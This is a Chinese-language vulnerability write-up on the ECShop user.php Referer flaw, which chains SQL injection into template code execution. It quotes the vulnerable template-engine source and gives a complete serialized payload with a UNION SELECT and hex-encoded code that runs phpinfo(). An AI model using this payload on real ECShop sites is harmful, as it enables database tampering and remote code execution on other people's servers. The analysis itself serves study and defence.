0x01

此漏洞形成是由于未对Referer的值进行过滤,首先导致SQL注入,其次导致任意代码执行。

0x02

payload:

554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94ca

0x03

漏洞分析:首先,问题产生文件为user.php。

可以看到的是。首先从客户端过来的Referer可控,导致$back_act变量可控。往下,assign函数注册变量,display函数输出文件内容。首先先看一下 user_passport.dwt 文件内容

可以看到此处会将$back_act变量传入此模板。跟进display函数:

此时,在display函数中,$filename = 'user+passport.dwt' ,跟进fetch函数:

    /**
* 处理模板文件
*
* @access public
* @param string $filename
* @param sting $cache_id
*
* @return sring
*/
function fetch($filename, $cache_id = '')
{
if (!$this->_seterror)
{
error_reporting(E_ALL ^ E_NOTICE);
}
$this->_seterror++; if (strncmp($filename,'str:', 4) == 0)
{
$out = $this->_eval($this->fetch_str(substr($filename, 4)));
}
else
{
if ($this->_checkfile)
{
if (!file_exists($filename))
{
$filename = $this->template_dir . '/' . $filename;
}
}
else
{
$filename = $this->template_dir . '/' . $filename;
} if ($this->direct_output)
{
$this->_current_file = $filename; $out = $this->_eval($this->fetch_str(file_get_contents($filename)));
}
else
{
if ($cache_id && $this->caching)
{
$out = $this->template_out;
}
else
{
if (!in_array($filename, $this->template))
{
$this->template[] = $filename;
} $out = $this->make_compiled($filename); if ($cache_id)
{
$cachename = basename($filename, strrchr($filename, '.')) . '_' . $cache_id;
$data = serialize(array('template' => $this->template, 'expires' => $this->_nowtime + $this->cache_lifetime, 'maketime' => $this->_nowtime));
$out = str_replace("\r", '', $out); while (strpos($out, "\n\n") !== false)
{
$out = str_replace("\n\n", "\n", $out);
} $hash_dir = $this->cache_dir . '/' . substr(md5($cachename), 0, 1);
if (!is_dir($hash_dir))
{
mkdir($hash_dir);
}
if (file_put_contents($hash_dir . '/' . $cachename . '.php', '<?php exit;?>' . $data . $out, LOCK_EX) === false)
{
trigger_error('can\'t write:' . $hash_dir . '/' . $cachename . '.php');
}
$this->template = array();
}
}
}
} $this->_seterror--;
if (!$this->_seterror)
{
error_reporting($this->_errorlevel);
} return $out; // 返回html数据
}

 此时,在fetch函数中,$filename = 'user+passport.dwt' ,$this->_checkfile = false,$this->template_dir = ecshop/themes/dafault/,$this->direct_output = false,然后再次跟进make_compiled函数:

    /**
* 编译模板函数
*
* @access public
* @param string $filename
*
* @return sring 编译后文件地址
*/
function make_compiled($filename)
{
$name = $this->compile_dir . '/' . basename($filename) . '.php';
if ($this->_expires)
{
$expires = $this->_expires - $this->cache_lifetime;
}
else
{
$filestat = @stat($name);
$expires = $filestat['mtime'];
} $filestat = @stat($filename);
if ($filestat['mtime'] <= $expires && !$this->force_compile)
{
if (file_exists($name))
{
$source = $this->_require($name);
if ($source == '')
{
$expires = 0;
}
}
else
{
$source = '';
$expires = 0;
}
} if ($this->force_compile || $filestat['mtime'] > $expires)
{
$this->_current_file = $filename;
$source = $this->fetch_str(file_get_contents($filename)); if (file_put_contents($name, $source, LOCK_EX) === false)
{
trigger_error('can\'t write:' . $name);
} $source = $this->_eval($source);
} return $source;
}

 此函数是将模板中的变量解析,并将其内容读出,此时,查看display函数中$out变量会将Referer的值传入至模板变量中。

 

 查看$this->_schash的值:

 

 此值是固定的,所以$val的内容可控,其值为:

ads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}

 跟进insert_mod函数:

 

 由于此函数中$name的值可控。可以看到将$name的值分为2个变量。所以跟进insert_ads函数,其值为数组:

 

 

 可以看到产生sql注入漏洞,由于2个变量可控,可以将  'ORDER BY rnd LIMIT '  注释掉,并进行联合查询。所以 $arr['id']的值可以为:' /*  而$arr['num']的值为:*/payload,如此就将其注释掉。

 然后此sql语句查询的结果$res可控,

  

 再看由于$position_style可控,并且添加前缀str: 则正好满足fetch函数的条件,还需注意此处有一个条件,$row['position_id'] != $arr['id'],所以SQL查询出的$row['position_id']的值必须为 ' /*,16进制为0x27202f2a:

  

 此时跟入fetch_str函数:

  

 可以看到有2条正则表达式,第一条是将$source中的 <? 任意内容?> 替换为空。可以不用管。第二条是获取  {}  中的内容,并调用$this->select({})。此处正则会将$position_style中的{$abc'];echo phpinfo/**/();//}取出

 跟进select函数:

 

 由于次函数中 $tag = $abc'];echo phpinfo/**/();//  在跟进get_val函数:

 

 可以看到要想执行这条语句,则必须闭合 ] 方括号。于是可以构造为 $abc'];phpinfo();// 将payload如此构造,则$p的值为:$this->_var['$abc'];phpinfo();//'] ,然后回到fetch函数去查看_evel函数:

 

 

POC :   https://www.cnblogs.com/Spec/p/11017846.html

最新文章

  1. cisco-log
  2. 关于imagic拼接透明背景图片的问题
  3. .tar.gz文件和.rpm文件的区别
  4. Linux下各个目录的作用
  5. 练习一_使用Git进行代码管理的心得
  6. stucts2 基础程序
  7. sql server还原数据库文件(.bak)常见问题解决办法笔记
  8. Java错误:很奇怪的错误。。。
  9. iscroll源码初涉
  10. Flashback Recovery Area的设置与取消
  11. python--sum函数--sum(axis=1)
  12. SQL语句流程函数
  13. MySql 双主多从配置指导
  14. flv.js怎么用?全面解读flv.js代码
  15. C# string 常用功能的方法扩展
  16. 【模板】快速幂&amp;取余运算
  17. Robot Framework - 5 - 创建测试数据
  18. JDBC(2)—Statement
  19. MikroTik RouterOS安装chr授权到阿里云虚拟机(转)
  20. 3-8《Ruby元编程》第二章对象模型

热门文章

  1. 【数学】康托展开 &amp;&amp; 康托逆展开
  2. CCF-CSP认证 C++题解目录
  3. Java蓝桥杯02——第二题集锦:生日蜡烛、星期一、方格计数、猴子分香蕉
  4. Mybatis【2.1】-- 从读取流到创建SqlSession发生了什么?
  5. Vite ❤ Electron——基于Vite搭建Electron+Vue3的开发环境【一】
  6. 七. Vue Router详解
  7. moviepy音视频剪辑:headblur函数遇到的TypeError: integer argument expected, got float错误的解决方案
  8. moviepy执行TextClip.search方法时报错TypeError: a bytes-like object is required, not str
  9. moviepy音视频剪辑:mask clip遮罩剪辑、遮片、蒙版的作用以及其包含的构成内容
  10. 第6章 Python中的动态可执行方法 第6.1节 Python代码编译